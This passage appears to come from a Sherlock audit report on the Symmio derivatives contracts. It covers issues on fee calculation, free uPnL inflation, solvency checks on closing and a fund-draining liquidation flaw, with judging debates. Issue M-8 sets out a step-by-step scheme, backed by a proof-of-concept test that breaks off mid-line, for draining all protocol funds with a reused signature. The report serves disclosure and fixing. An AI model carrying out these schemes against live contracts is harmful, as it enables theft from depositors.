
For long positions, if a user uses a high limit price (which basically equals long MARKET order), he will unknowingly pay very large fee (for example, if current ETH price is $1000, user provides a $10000 LIMIT price, paying $100 fee instead of $10). This is a loss of funds for the user, which he didn't expect to pay.

Impact

For short positions, users can avoid paying protocol fees for opened positions, resulting in protocol fee loss.

For long positions, users can pay very large fee, resulting in user funds loss.

Code Snippet

Add this to any test, for example to `ClosePosition.behavior.ts`

```
it("1. Paying very low fees", async function () {
  const context: RunContext = this.context;

  this.user_allocated = decimal(500);
  this.hedger_allocated = decimal(4000);

  this.user = new User(this.context, this.context.signers.user);
  await this.user.setup();
  await this.user.setBalances(this.user_allocated, this.user_allocated,
↪   this.user_allocated);

  this.hedger = new Hedger(this.context, this.context.signers.hedger);
  await this.hedger.setup();
  await this.hedger.setBalances(this.hedger_allocated, this.hedger_allocated);

  // Quote1 SHORT opened
  await this.user.sendQuote(limitQuoteRequestBuilder().positionType(PositionType ⌋
↪   .SHORT).quantity(decimal(500)).build());
  await this.hedger.lockQuote(1);
  await this.hedger.openPosition(1,
↪   limitOpenRequestBuilder().filledAmount(decimal(500)).build());

  var feeCollectorAddress = await context.viewFacet.getFeeCollector();
  var feeBalance = await context.viewFacet.balanceOf(feeCollectorAddress);

  console.log("Fee collected (LIMIT SHORT 500 @ 1.0, filled at 1.0): " +
↪   feeBalance/1e18);

  // Quote2 SHORT opened
  await this.user.sendQuote(limitQuoteRequestBuilder().positionType(PositionType ⌋
↪   .SHORT).quantity(decimal(500)).price(decimal(2, 17)).build());
  await this.hedger.lockQuote(2);
  await this.hedger.openPosition(2,
↪   limitOpenRequestBuilder().filledAmount(decimal(500)).build());

  feeBalance = await context.viewFacet.balanceOf(feeCollectorAddress) -
↪   feeBalance;
```

```
  console.log("Fee collected (LIMIT SHORT 500 @ 0.2, filled at 1.0): " +
↪   feeBalance/1e18);

});
```

Tool used

Manual Review

Recommendation

There are a couple of options depending on team preference:

1. Always calculate fee based on market price (`quote.marketPrice`), both for MARKET and LIMIT orders. Upside is very easy fix, downside is that for LIMIT orders which are on the market for a long time (aiming for prices away from current market), the fees will be wrong (the market price at openPosition time can be very different from the price at the sendQuote time).
2. The fee should be taken based on actual position openPrice (at the time of opening the position), rather than any price at the sendQuote time. Upside is completely correct fees in any conditions, downside is more difficult fix (and slight differences from the preliminary fees paid at sendQuote time). It will require returning the fees before opening a position, and taking it again (but based on openPrice) after the position is opened.

Discussion

panprog

Escalate

This is at least a valid medium. If long quote is opened with very high limit price, but is executed at the current market price, then fee is taken using user-specified limit price, not the execution price. For example:

1. ETH is trading at about $1000, fee is 1%
2. PartyA send a quote long 1 ETH at LIMIT `price = $100000`, the fee locked is `1 * $100000 * 1% = $1000`
3. PartyB locks the quote and opens position with the current market price ($1000).
4. Fee taken is $1000 instead of expected $10, which is an unexpected loss of funds for the PartyA

It can be argued that user sending a long quote with LIMIT `price = $100000` risks having his position opened at this extremely high price, however this is still possible (so a valid scenario, even if not very likely) and this also requires partyB to act maliciously risking its reputation (a fair partyB should open positions with its market price, not with the best price it can get). If partyB behaves this way, it risks being banned from the platform or users starting to blacklist it (or rather not including in whitelist in the current implementation) due to such story getting public attention.

Additionally, #225 is a valid medium with a very similar requirement (user specifying very low LIMIT price), but a different core reason and impact.

Due to the scenario of user losing significant amount possible (even if not very likely), this should be at least a valid medium.

sherlock-admin2

> Escalate
>
> This is at least a valid medium. If long quote is opened with very high limit price, but is executed at the current market price, then fee is taken using user-specified limit price, not the execution price. For example:
>
> 1. ETH is trading at about $1000, fee is 1%
> 2. PartyA send a quote long 1 ETH at LIMIT `price = $100000`, the fee locked is `1 * $100000 * 1% = $1000`
> 3. PartyB locks the quote and opens position with the current market price ($1000).
> 4. Fee taken is $1000 instead of expected $10, which is an unexpected loss of funds for the PartyA
>
> It can be argued that user sending a long quote with LIMIT `price = $100000` risks having his position opened at this extremely high price, however this is still possible (so a valid scenario, even if not very likely) and this also requires partyB to act maliciously risking its reputation (a fair partyB should open positions with its market price, not with the best price it can get). If partyB behaves this way, it risks being banned from the platform or users starting to blacklist it (or rather not including in whitelist in the current implementation) due to such story getting public attention.
>
> Additionally, #225 is a valid medium with a very similar requirement (user specifying very low LIMIT price), but a different core reason and impact.
>
> Due to the scenario of user losing significant amount possible (even if not very likely), this should be at least a valid medium.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

MoonKnightDev

This isn't a bug. It's not a free workaround that users can employ to pay less in fees. In fact, by doing this, they are taking a substantial risk. We cannot guarantee that Party B will open the position at the market price. Consequently, Party B could open that short position at the lowest possible price, potentially causing the user to suffer a significant loss.

panprog

> This isn't a bug. It's not a free workaround that users can employ to pay less in fees. In fact, by doing this, they are taking a substantial risk. We cannot guarantee that Party B will open the position at the market price. Consequently, Party B could open that short position at the lowest possible price, potentially causing the user to suffer a significant loss.

I agree that not paying fee is connected with a high risk, although this is still possible, like some partyB can let people pay less fees this way by promising to fill them at market price if they specify a LIMIT price close to 0.

It is, however, possible for the user to unexpectedly pay substantially more in fees (for long position with limit price much higher than market) than he should like in example in previous comment. Yes, he risks being filled at that inflated price, but if he's filled at the market price (which *can* happen, not all partyBs will fill at the price very far from the market), the fees will still be paid from the limit price, so he'll pay much higher fees than he should, effectively protocol will steal a large amount from user. Yes, not very likely, but possible, so should be valid medium.

Also, I want to repeat that #225 is a valid medium and the requirements for it to happen are the same.

Evert0x

> 1. ETH is trading at about $1000, fee is 1%
> 2. PartyA send a quote long 1 ETH at LIMIT `price = $100000`, the fee locked is `1 * $100000 * 1% = $1000`
> 3. PartyB locks the quote and opens position with the current market price ($1000).
> 4. Fee taken is $1000 instead of expected $10, which is an unexpected loss of funds for the PartyA

@panprog why is this an unexpected loss for PartyA? It is a known fact the fee will be $1000 at step 2), right?

panprog

> @panprog why is this an unexpected loss for PartyA? It is a known fact the fee will be $1000 at step 2), right?

The fee is 1% of **notional**. Notional = size * price. Position is opened at a price = $1000, so Notional = 1 * 1000 = $1000. So the fee should be $1000 * 1% = $10. **IF** the quote was executed at the requested price of $100000, then yes, notional would be $100000 and fee would be $1000.

But the quote was opened at a price of $1000. Why does the protocol charge such high fee (equal to position notional) when the real position notional is just $1000? The fact that user requested a price $100000 doesn't mean that protocol should charge the fee off this price regardless of real open price.

Another example: imagine you open long 1 ETH position at a LIMIT price of $1.000.000 at Binance. Since the orderbook is deep, you get executed close to current price of $1000, so a notional of $1000. The fee (0.1%) would be $1. Do you **expect** that binance will charge you off $1.000.000 notional for a fee of $1000 just because you specified LIMIT price of $1.000.000?

panprog

For comparison, if the user requested a price of $100.000 with a MARKET order, but is filled at the current price of $1000, he's charged a $10 fee, not $1000, although it's also possible that he's filled at the requested price of $100.000. So why charge $10 for a MARKET order, but $1000 for the same LIMIT order?

And regarding - if it's a **known fact** that fee is $1000 for such LIMIT order. I don't think it's specified anywhere, but it's just common sense and how all the other protocols work - charging fee based on **actual** executed price, not based on **requested** price.

panprog

If you mean that the fee is already taken at the sendQuote time, this is preliminary fee based on the current data and it can change. For example, if quote is canceled, the fee is refunded. So I don't think that preliminary fee can serve as a "known fact" of the final fee. As a user, I'd expect the fee to be refunded if quote is canceled, and the fee to be adjusted if the actual price differs from the requested one, like the locked values are adjusted.

hrishibhat

Sponsor comment:

> when someone places a short limit order at a low price, they indeed pay reduced fees. However, they also accept the potential risk of unfavorable opening prices for their position. Ideally, fees should be charged at the position's opening, but due to certain complexities, we plan to implement this in upcoming versions.

panprog

As I understand, sponsor confirms this is a valid issue. I want to note that the report talks both about lower or higher fees (although POC supplied is about lower fees):

1. For SHORT quotes, partyA will pay reduced fees (loss of funds for the protocol)
2. For LONG quotes, partyA will pay inflated fees (loss of funds for the user)

While the sponsor only mentions the 1st impact (user can pay lower fees), I think the higher impact is the 2nd, where user pays inflated fees, which can be orders of magnitude higher than the user should pay. And the fact that the users bears the risk of unfavorable opening prices shouldn't influence the validity of this issue. Still, I think both impacts make this a valid medium.

hrishibhat

Result: Medium Unique After reviewing the comments above and further discussion, agree with the points in the escalation, considering this issue a valid medium although unlikely there are situations where this would have an impact.

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- panprog: accepted

Issue M-6: `partyA` can inflate the uPnL with no cost

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/181

Found by

shaka

Summary

`partyA` can inflate the uPnL with no cost by opening a long position of order type limit with an `openedPrice` of 0, using a `partyB` account that is also controlled by `partyA`.

Vulnerability Detail

In the `PartyBFacetImpl:openPosition` function, when the position type is long there is no minimum for the `openedPrice`. Also, if the `openedPrice` is lower than the `requestedOpenPrice`, the proportional locked values are unlocked. This means that for a long position of order type limit party B can send an `openedPrice` of 0 and result in no locked values.

This could be done by a partyA to inflate the uPnL with no cost. See the following example:

1. Party A creates a quote with the following parameters:
    - partyBsWhiteList: [bob]
    - positionType: LONG
    - orderType: LIMIT
    - price: 100e18
    - quantity: 1e18
    - cva: 22e18,
    - mm: 75e18
    - lf: 3e18
2. Party A also controls the bob account and uses it to open a position with the following parameters:
    - filledAmount: 1e18
    - requestedOpenPrice: 0

3. As a result, there is no locked values and the uPnL of party A is inflated by `(currentPrice - 0) * 1e18`.

This temporary inflation of the uPnL will be corrected when party B is liquidated. However, there are two things to consider:

- There is no incentive for liquidators to liquidate the position, since the liquidation fee is 0. So it will have to be done by the liquidator bot.
- There is a liquidation timeout that will delay the liquidation process. Currently this value is set to 1 day in the Fantom mainnet.

Party A can also repeat the process with different accounts to keep the uPnL inflated.

Impact

Party A can inflate the uPnL with no cost, which could be used to avoid liquidations and wait until the prices on other positions are favorable.

Code Snippet

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyB/PartyBFacetImpl.sol#L136-L167

Tool used

Manual Review

Recommendation

A possible solution would be checking that the `openedPrice` is inside a certain range.

Discussion

shaka0x

Escalate.

The issue has been marked incorrectly as a duplicate of #350. That issue is about how submitting a very large value for `openPrice` can cause overflow/underflow in forward calculations.

This issue shows how passing an `openPrice` of 0 can be used to inflate the uPnL of another account. So I think this one should be considered as a valid issue.

sherlock-admin2

> Escalate.
>
> The issue has been marked incorrectly as a duplicate of #350. That issue is about how submitting a very large value for `openPrice` can cause overflow/underflow in forward calculations.
>
> This issue shows how passing an `openPrice` of 0 can be used to inflate the uPnL of another account. So I think this one should be considered as a valid issue.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

hrishibhat

@ctf-sec

panprog

This looks like a duplicate of #225 to me. The core reason is the same (scaled balances for LIMIT orders). The impact, as I see it, is that due to lockedBalances = 0, **any** market price change will make either party liquidatable with bad debt, meaning that the profit for the other party will be slightly reduced due to bad debt. I see no other benefit to either party: PartyA upnl is inflated by PartyB loss: PartyB will not be allowed to openPosition if it doesn't have enough allocatedBalance to cover PartyA profit. So in the example from the report:

- PartyA will have unrealized profit of 100
- PartyB will have unrealized loss of -100, and it can only openPosition if it has allocatedBalance = 100

So it's not like PartyA has unrealized profit for free - partyB must have the same amount allocated to open the position. I'm not sure if this impact is high enough to be medium. It's hard to use this self-inflicted bad debt. So either this is duplicate of #225 or low impact.

shaka0x

> This looks like a duplicate of #225 to me. The core reason is the same (scaled balances for LIMIT orders). The impact, as I see it, is that due to lockedBalances = 0, **any** market price change will make either party liquidatable with bad debt, meaning that the profit for the other party will be slightly reduced due to bad debt. I see no other benefit to either party: PartyA upnl is inflated by PartyB loss: PartyB will not be allowed to openPosition if it doesn't have enough allocatedBalance to cover PartyA profit. So in the example from the report:

> - PartyA will have unrealized profit of 100
> - PartyB will have unrealized loss of -100, and it can only openPosition if it has allocatedBalance = 100
>
> So it's not like PartyA has unrealized profit for free - partyB must have the same amount allocated to open the position. I'm not sure if this impact is high enough to be medium. It's hard to use this self-inflicted bad debt. So either this is duplicate of #225 or low impact.

This issue differs completely from #255. Neither the root cause, nor the impact or the fix are similar.

PartyA does have an unrealized profit for free. Once partyB is liquidated, the 100 will go to partyA so, as both accounts are controlled by the same person and there is no liquidation fee involved, there is no cost to perform the operation. Until the liquidation process for partyB is completed (remember that there is a minimum delay and that there are no economic incentives for liquidators) partyA has managed to inflate his global uPnL, avoiding a potential liquidation.

panprog

@shaka0x I don't understand why you call this inflated upnl if it's just funds of the user. Can you describe better? Scenario 1: User has $200. He deposits and allocates all $200 into partyA account. He has allocated balance of 200 + 0 (unrealized pnl) - total of 200 available for the positions.

Scenario 2: User has $200. He deposits and allocates 100 to partyA and 100 to controlled partyB account. He then opens the position described in this report between partyA and partyB. Now partyA has 100 (balance) + 100 (upnl) = 200 available for positions, while partyB has 100 (balance) - 100 (upnl) = 0 available. If partyB is liquidated, the situation will be exactly as in scenario 1: PartyA balance will be 200, upnl 0, PartyB balance will be 0.

So what's the difference between scenario 1 and 2? Why partyA needs to deposit funds to partyB and create upnl with it, when it can simply deposit these funds directly to partyA account?

shaka0x

> @shaka0x I don't understand why you call this inflated upnl if it's just funds of the user. Can you describe better? Scenario 1: User has $200. He deposits and allocates all $200 into partyA account. He has allocated balance of 200 + 0 (unrealized pnl) - total of 200 available for the positions.
>
> Scenario 2: User has $200. He deposits and allocates 100 to partyA and 100 to controlled partyB account. He then opens the position described in this report between partyA and partyB. Now partyA has 100 (balance) + 100 (upnl) = 200 available for positions, while partyB has 100 (balance)

> - 100 (upnl) = 0 available. If partyB is liquidated, the situation will be exactly as in scenario 1: PartyA balance will be 200, upnl 0, PartyB balance will be 0.
>
> So what's the difference between scenario 1 and 2? Why partyA needs to deposit funds to partyB and create upnl with it, when it can simply deposit these funds directly to partyA account?

In scenario 1 uPnL is 0, as uPnL is calculated based on the open positions. In the difference between the opened price and the current price to be more precise.

hrishibhat

Sponsor comment:

> the auditor has identified a valid bug. We must verify locked values at the time of opening. While we do check it for partial fillings, we overlooked it for complete fillings.

panprog

Sponsor's response implies the fix is to verify that locked values are not less than `minAcceptableQuoteValue` and this can only happen due to `lockedValues` being scaled.

- The fix for #225 is adding solvency check after `lockedValues` are scaled
- The fix for this issue is adding `lockedValues > minAcceptableQuoteValue` check after `lockedValues` are scaled
- The impact of both #225 and this one are probably medium (scenarios are completely different, but the impact is still medium)

I still think this is duplicate of #225 because core reason is that scaled `lockedValues` are not accounted for. However, since the condition which should be checked is different, this might be a separate issue.

MoonKnightDev

Fixed code PR link: https://github.com/SYMM-IO/symmio-core/pull/25

hrishibhat

@shaka0x Let me know what you think of this comment: https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/181#issuecomment-1685204613

shaka0x

@hrishibhat this are my thoughts

> Sponsor's response implies the fix is to verify that locked values are not less than `minAcceptableQuoteValue` and this can only happen due to `lockedValues` being scaled.

- The fix for xiaoming90 - Users might immediately be liquidated after position opening leading to a loss of CVA and Liquidation fee #225 is adding solvency check after `lockedValues` are scaled
- The fix for this issue is adding `lockedValues > minAcceptableQuoteValue` check after `lockedValues` are scaled

Agree, the fix is different, as seen in the PRs shown by the sponsor.

- The impact of both xiaoming90 - Users might immediately be liquida ted after position opening leading to a loss of CVA and Liquidation f ee #225 and this one are probably medium (scenarios are completely different, but the impact is still medium)

Agree that the impact scenarios are different (instant liquidation of user vs user avoiding liquidation by inflating his uPnL). However, I do think that a user being able to avoid liquidation by manipulating his uPnL is a high severity issue.

> I still think this is duplicate of #225 because core reason is that scaled `lockedValues` are not accounted for. However, since the condition which should be checked is different, this might be a separate issue.

I do not see the root cause of the issues to be the same at all. #255 's is that the check for solvency is done before the adjustment on `lockedValues`. The root cause of this issue is that a party B can inflate the uPnL of party A, and if they are the same person, this will have no cost, as `lockedValue` = 0.

In fact, although the fix https://github.com/SYMM-IO/symmio-core/pull/25 is a good addition, I would argue that is still not enough to mitigate the issue. By checking that `lockedValue` is above `minAcceptableQuoteValue`, the uPnL manipulation is not free anymore. But depending on the value of `minAcceptableQuoteValue`, the amount subject to liquidation for party A and the liquidation timeout, a user might still be incentiviced to inflate his uPnL though this operation. That is why my recommendation was checking that the `openedPrice` is inside a certain range.

panprog

> However, I do think that a user being able to avoid liquidation by manipulating his uPnL is a high severity issue.

The scenario presented uses controlled partyB account which is whitelisted by the protocol and any malicious actions with it are at most medium (as seen from many other issues with partyBs).

> the amount subject to liquidation for party A and the liquidation timeout, a user might still be incentiviced to inflate his uPnL though this operation.

Liquidation timeout doesn't delay the liquidation process, it's just the time acceptable between liquidation steps, so it has nothing to do with this issue here. I can only see the impact of user inflating his upnl via partyB when the locked values

= 0: then as soon as the price moves, the one side (partyB) will have bad debt and once liquidated, the other side (partyA) will have it's unrealized profit reduce immediately by bad debt, which can in turn make partyA liquidatable with bad debt (highly unlikely scenario, but still possible). Additionally, liquidators are not incentivized to liquidate such partyB due to locked balance = 0 and no profit for the liquidator.

If locked balances are enforced to be minAcceptableQuoteValue: what is the impact that the user can make his partyA account in large profit? I don't see any impact here. If partyB is liquidated, partyA will realize its profit (+cva), so no other party can lose funds due to this. And unrealized profit by itself is not an issue: it can happen naturally as well, what's the benefit for the user to have unrealized profit rather than balance? The original issue was exactly due to locked balance = 0.

shaka0x

> > However, I do think that a user being able to avoid liquidation by manipulating his uPnL is a high severity issue.
>
> The scenario presented uses controlled partyB account which is whitelisted by the protocol and any malicious actions with it are at most medium (as seen from many other issues with partyBs).

Message 1 `for partyB it can also be assumed that anyone can be one (eventually that is the goal)`

Message 2 `the system will be permissionless (anyone can become a counterparty), so consider them not trusted` `neither party should have any special privileges in the system`

> > the amount subject to liquidation for party A and the liquidation timeout, a user might still be incentiviced to inflate his uPnL though this operation.
>
> Liquidation timeout doesn't delay the liquidation process, it's just the time acceptable between liquidation steps, so it has nothing to do with this issue here.

You are right. I was mistakenly interpreting it as a cooldown period.

> I can only see the impact of user inflating his upnl via partyB when the locked values = 0: then as soon as the price moves, the one side (partyB) will have bad debt and once liquidated, the other side (partyA) will have it's unrealized profit reduce immediately by bad debt, which can in turn make partyA liquidatable with bad debt (highly unlikely scenario, but still possible). Additionally, liquidators are not incentivized to liquidate such partyB due to locked balance = 0 and no profit for the liquidator.
>
> If locked balances are enforced to be minAcceptableQuoteValue: what is the impact that the user can make his partyA account in large profit? I

> don't see any impact here. If partyB is liquidated, partyA will realize its profit (+cva), so no other party can lose funds due to this. And unrealized profit by itself is not an issue: it can happen naturally as well, what's the benefit for the user to have unrealized profit rather than balance? The original issue was exactly due to locked balance = 0.

From the moment party B opens the position until the moment party B is liquidated, party A manages to avoid liquidation. So basically party A is buying time for his positions to recover (the market prices can change in his favor). It is true that being an incentive for liquidators (`lockedValue` not zero) it is likely that this time window will not be as long as in the case when there is not such incentive. But depending on the amount party A has at risk of liquidation and his expectations about the market, might still be interested in paying the cost of the `lockedValue` in order to freeze his liquidation process for longer.

Anyway, that comment was just about my thoughts of the sponsor's fix. With the current code I think that the potential damage is clear.

hrishibhat

Result: Medium Unique Based on the above discussion considering its a valid medium

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- shaka0x: accepted

Issue M-7: Wrong calculation of solvency after request to close and after close position

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/184

Found by

shaka

Summary

`isSolventAfterClosePosition` and `isSolventAfterRequestToClosePosition` do not account for the extra profit that the user would get from closing the position.

Vulnerability Detail

When a party A creates a request for closing a position, the `isSolventAfterRequestToClosePosition` function is called to check if the user is solvent after the request. In the same way, when someone tries to close a position, the `isSolventAfterClosePosition` function is called to check if both party A and party B are solvent after closing the position.

Both functions calculate the available balance for party A and party B, and revert if it is lower than zero. After that, the function accounts for the the extra loss that the user would get as a result of the difference between `closePrice` and `upnlSig.price`, and checks if the user is solvent after that.

The problem is that the function does not account for the opposite case, that is the case where the user would get an extra profit as a result of the difference between `closePrice` and `upnlSig.price`. This means that the user would not be able to close the position, even if at the end of the transaction they would be solvent.

Proof of Concept

There is an open position with:

- Position type: LONG
- Quantity: 1
- Locked: 50
- Opened price: 100
- Current price: 110
- Quote position uPnL Party A: 10

SHERLOCK

Party B calls `fillCloseRequest` with:

- Closed price: 120

In `isSolventAfterClosePosition` the following is calculated:

```
partyAAvailableBalance = freeBalance + upnl + unlockedAmount = -5
```

And it reverts on:

```
require(
    partyBAvailableBalance >= 0 && partyAAvailableBalance >= 0,
    "LibSolvency: Available balance is lower than zero"
);
```

However, the extra profit for `closedPrice - upnlSig.price = 120 - 110 = 10` is not accounted for in the `partyAAvailableBalance` calculation, that should be `partyAAvailableBalance = - 5 + 10 = 5`. Party A would be solvent after closing the position, but the transaction reverts.

Impact

In a situation where the difference between the closed price and the current price will make the user solvent, users will not be able to close their positions, even if at the end of the transaction they would be solvent.

Code Snippet

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/libraries/LibSolvency.sol#L109-L152

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/libraries/LibSolvency.sol#L166-L184

Tool used

Manual Review

Recommendation

Add the extra profit to the `partyAAvailableBalance` calculation.

Discussion

MoonKnightDev

The line that is checking whether the available balance is less than zero or not and reverts, is assessing the user's status if the position were to close right now. If it doesn't meet these conditions and doesn't pass, it implies that the user is already insolvent.

shaka0x

Escalate.

Even if the user is not solvent at the beginning of the close process, I cannot find any reason for not allowing a user to close a position if the outcome is that they are not insolvent anymore and both parties receive what they are due, in the same way as a user may increase their collateral to recover solvency.

sherlock-admin2

> Escalate.
>
> Even if the user is not solvent at the beginning of the close process, I cannot find any reason for not allowing a user to close a position if the outcome is that they are not insolvent anymore and both parties receive what they are due, in the same way as a user may increase their collateral to recover solvency.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

panprog

I agree with @shaka0x that this is a valid issue, even though very unlikely, but still possible, and it's more fair to let partyB close position with a price more favorable to partyA than requested, if it leads to solvent accounts after closure (even if partyA is insolvent at the current price).

On the other hand, I also understand the other point of view: if the user is already insolvent at the current price, he can be denied all position actions which will also be fair (as he's insolvent - he should be liquidated and no other actions allowed).

Ultimately I think this is a design choice, so it's up to developers to decide what is the expected behavior.

MoonKnightDev

The system is designed to verify the user's solvency after a request to close, but I agree that this step may be unnecessary. It might be sufficient to check solvency solely within the fillCloseRequest() function.

panprog

> The system is designed to verify the user's solvency after a request to close, but I agree that this step may be unnecessary. It might be sufficient to check solvency solely within the fillCloseRequest() function.

The report is not about user being insolvent at the time of request to close, it's about user being insolvent at market price, but solvent at the requested price (during request to close) or at the closePrice (during fill close request).

During request (long position):

- Current price is $1000. User is insolvent at this price, but solvent at price $1010. He requests to close at $1010, but transaction reverts (although it should allow user request to be closed at price $1010)

During fillCloseRequest:

- User requested to close at market price $1000, he was solvent at that time
- By the time partyB calls fillCloseRequest, market price is still $1000, but user is insolvent at price $1000 (due to the other positions he has), but is solvent at price $1010.
- PartyB calls fillCloseRequest with a closePrice = $1010 (when market price = $1000). User is solvent at price $1010 and position should close successfully, but it reverts because user is insolvent at current market price$

MoonKnightDev

Fixed code PR link: https://github.com/SYMM-IO/symmio-core/pull/21

hrishibhat

Result: Medium Unique Considering this a valid medium based on the above comments

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- shaka0x: accepted

Issue M-8: Some actions are allowed on partyB when corresponding partyA is liquidated allowing to steal all protocol funds

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/189

Found by

panprog

Summary

`deallocateForPartyB` function doesn't check if partyA is liquidated, allowing partyB to deallocate funds when partyA liquidation process is not finished:

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/Account/AccountFacet.sol#L84-L91

`transferAllocation` function doesn't check if partyA is liquidated either:

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/Account/AccountFacetImpl.sol#L71-L106

Either of these functions allows to deallocate (or transfer, then deallocate) funds for partyB when partyA liquidation is not yet finished. Coupled with the ability for liquidator to choose which partyA positions to liquidate, this allows to steal all protocol funds.

Vulnerability Detail

Liquidating partyA is a multi-step process. First, `liquidatePartyA` is called to mark the start of liquidation process. Then, liquidator has to set symbol prices, liquidate pending quotes and finally call `liquidatePositionsPartyA` (possibly multiple times) with liquidated positions. Each position, which is liquidated in the `liquidatePositionsPartyA` function increases `allocatedBalance` of partyB if the position is in a loss for partyA (profit for partyB).

The bug reported here allows for partyB to deallocate this increased `allocatedBalance` while partyA liquidation is still in process. The scenario to exploit this bug is as following:

1. User has to control partyA, partyB and liquidator.
2. Open 2 large opposite positions between partyA and partyB such that one of them is in a high loss and the other in the same/similar profit (easy to do via

openPrice which is far away from current market price, since both partyA and partyB are controlled by the same user).

3. Make partyA liquidatable (many ways to do this: for example, opposite positions can have slightly different size with minimal locked balances, so that when the price moves, this disparency can make partyA liquidatable)
4. Call `liquidatePartyA` and `setSymbolsPrice` (there is no bad debt, because 1 position is in a big loss, the other position in a big profit, but their sum is in a small loss, which is covered by allocatd balance)
5. Sign `singleUpnlSig` for partyB at this time (partyB is in a small profit)
6. User-controlled liquidator calls `liquidatePositionsPartyA` with id of only the position which is in a loss for partyA, profit for partyB. This call increases partyB allocated balance by a very high profit of the position. Moreover, this action doesn't change partyB's nonce, so previous partyB signature is still valid.
7. At this time partyB has large inflated allocatedBalance and the same big loss, however signature for when partyB was in a small profit is still valid, because party B nonce is the same (position liquidation didn't change it). Use that older signature to sign `deallocateForPartyB`, deallocating inflated balance (which can easily be higher than total protocol deposited funds).
8. Withdraw deallocated balance for partyB. At this point all protocol funds are stolen.

The other instances where there is no check if party is liquidated:

1. partyA `requestToClosePosition` (it checks if quote is liquidated, but doesn't check for neither partyA nor partyB liquidation status)
2. partyB `fillCloseRequest` (same as `requestToClosePosition`)
3. partyA `deallocate` checks for partyA liquidation status, but can't check for partyB liquidation status, because there can be multiple partyB's. This is reported as a separate bug, because the core problem (muon app signing incorrect upnl) and solution for that one is different.

Impact

All protocol funds can be stolen if a user can control partyA, partyB and liquidator. Since partyB and liquidator roles are supposed to be easy to get, this means that most users are able to easily steal all protocol funds.

Code Snippet

Add this to any test, for example to `ClosePosition.behavior.ts`.

```
import { getDummyPriceSig, getDummySingleUpnlAndPriceSig,
↪  getDummyQuotesPriceSig, getDummySingleUpnlSig } from
↪  "./utils/SignatureUtils";

it("Steal all funds via inflated PartyB allocated balance off picky partyA
↪  position liquidation", async function () {
  const context: RunContext = this.context;

  this.protocol_allocated = decimal(1000);

  this.user_allocated = decimal(590);
  this.hedger_allocated = decimal(420);

  // some unsuspecting user deposits 1000 into protocol (but doesn't allocate it)
  this.user2 = new User(this.context, this.context.signers.user);
  await this.user2.setup();
  await this.user2.setBalances(this.protocol_allocated, this.protocol_allocated,
↪  0);

  // exploiter user controls partyA, partyB and liquidator
  this.user = new User(this.context, this.context.signers.user);
  await this.user.setup();
  await this.user.setBalances(this.user_allocated, this.user_allocated,
↪  this.user_allocated);

  this.hedger = new Hedger(this.context, this.context.signers.hedger);
  await this.hedger.setup();
  await this.hedger.setBalances(this.hedger_allocated, this.hedger_allocated);

  this.liquidator = new User(this.context, this.context.signers.liquidator);
  await this.liquidator.setup();

  // open 2 opposite direction positions with user-controlled hedger to exploit
↪  them later
  // (positions with slightly different sizes so that at some point the hedger
↪  can be liquidated)
  await this.user.sendQuote(limitQuoteRequestBuilder()
    .quantity(decimal(11000))
    .price(decimal(1))
    .cva(decimal(100)).lf(decimal(50)).mm(decimal(40))
    .build()
  );
  await this.hedger.lockQuote(1, 0, decimal(2, 16));
  await this.hedger.openPosition(1, limitOpenRequestBuilder().filledAmount(decim
↪  al(11000)).openPrice(decimal(1)).price(decimal(1)).build());
```

```
  await this.user.sendQuote(limitQuoteRequestBuilder()
    .positionType(PositionType.SHORT)
    .quantity(decimal(10000))
    .price(decimal(1))
    .cva(decimal(100)).lf(decimal(50)).mm(decimal(40))
    .build()
  );
  await this.hedger.lockQuote(2, 0, decimal(2, 16));
  await this.hedger.openPosition(2, limitOpenRequestBuilder().filledAmount(decim ⌟
↪   al(10000)).openPrice(decimal(1)).price(decimal(1)).build());

  var info = await this.user.getBalanceInfo();
  console.log("partyA allocated: " + info.allocatedBalances / 1e18 + " locked: "
↪   + info.totalLocked/1e18 + " pendingLocked: " + info.totalPendingLocked /
↪   1e18);
  var info = await this.hedger.getBalanceInfo(this.user.getAddress());
  console.log("partyB allocated: " + info.allocatedBalances / 1e18 + " locked: "
↪   + info.totalLocked/1e18 + " pendingLocked: " + info.totalPendingLocked /
↪   1e18);

  // price goes to 0.9, so partyA is in a loss of -100 and becomes liquidatable
  // user now exploits the bug by liquidating partyA
  await context.liquidationFacet.connect(this.liquidator.signer).liquidatePartyA(
    this.user.signer.address,
    await getDummySingleUpnlSig(decimal(-100)),
  );

  await context.liquidationFacet.connect(this.liquidator.signer).setSymbolsPrice(
      this.user.signer.address,
      await getDummyPriceSig([1], [decimal(9, 17)], decimal(-100),
↪   decimal(1100)),
    );

  // get partyB upnl signature before partyA position is liquidated (at which
↪   time partyB has upnl of +100)
  var previousSig = await getDummySingleUpnlSig(decimal(100));

  // liquidate only quote 1 (temporarily inflating balance of controlled partyB)
  await context.liquidationFacet.connect(this.liquidator.signer).liquidatePositi ⌟
↪   onsPartyA(
    this.user.signer.address,
    [1]
  );

  var info = await this.hedger.getBalanceInfo(this.user.getAddress());
  console.log("after liquidation of partyA: partyB allocated: " +
↪   info.allocatedBalances / 1e18 + " locked: " + info.totalLocked/1e18 + "
↪   pendingLocked: " + info.totalPendingLocked / 1e18);
```

```
  // deallocate partyB with previous signature (before partyA's position is
↪   liquidated)
  // (current partyB upnl is -1100)
  await context.accountFacet.connect(this.hedger.signer).deallocateForPartyB(dec⌋
